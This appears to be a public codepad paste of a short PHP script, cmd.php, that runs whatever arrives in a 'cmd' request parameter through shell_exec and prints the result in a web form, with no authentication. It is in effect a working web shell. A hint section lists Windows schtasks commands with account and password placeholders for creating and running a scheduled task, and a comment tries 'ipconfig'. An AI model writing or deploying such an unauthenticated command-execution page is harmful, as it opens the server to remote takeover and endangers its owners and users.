[ create a new paste ] login | about

Link: http://codepad.org/QVnVSVqR    [ raw code | fork | 2 comments ]

xxxx9659 - PHP, pasted on Sep 14:
<?php
//cmd.php
//BIG5
if(isset($_REQUEST['cmd'])){
  $cmd=get_magic_quotes_gpc()?stripslashes($_REQUEST['cmd']):$_REQUEST['cmd'];
  $result=shell_exec($cmd);
}
?>
<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=big5" />
    <title></title>
  </head>
  <body>
    <b>Command:</b>
    <dir>
      <form action="" method="post">
        <input name="cmd" type="text" value="<?php echo htmlspecialchars($cmd, ENT_QUOTES); ?>" />
        <input type="submit" value="Enter" />
      </form>
    </dir>
    <b>Result:</b>
    <dir>
      <pre><?php echo htmlspecialchars($result, ENT_QUOTES); ?></pre>
    </dir>
    <b>Hint:</b>
    <dir>
      schtasks /Create /RU "XP帳號" /RP "XP密碼" /SC ONSTART /TR "calc" /TN "temp"<br />
      schtasks /Run /TN "temp"<br />
      schtasks /Delete /TN "temp" /F<br />
    </dir>
  </body>
</html>


Create a new paste based on this one


Comments:
posted by eee on Dec 14
ipconfig
reply
posted by eee on Dec 14

reply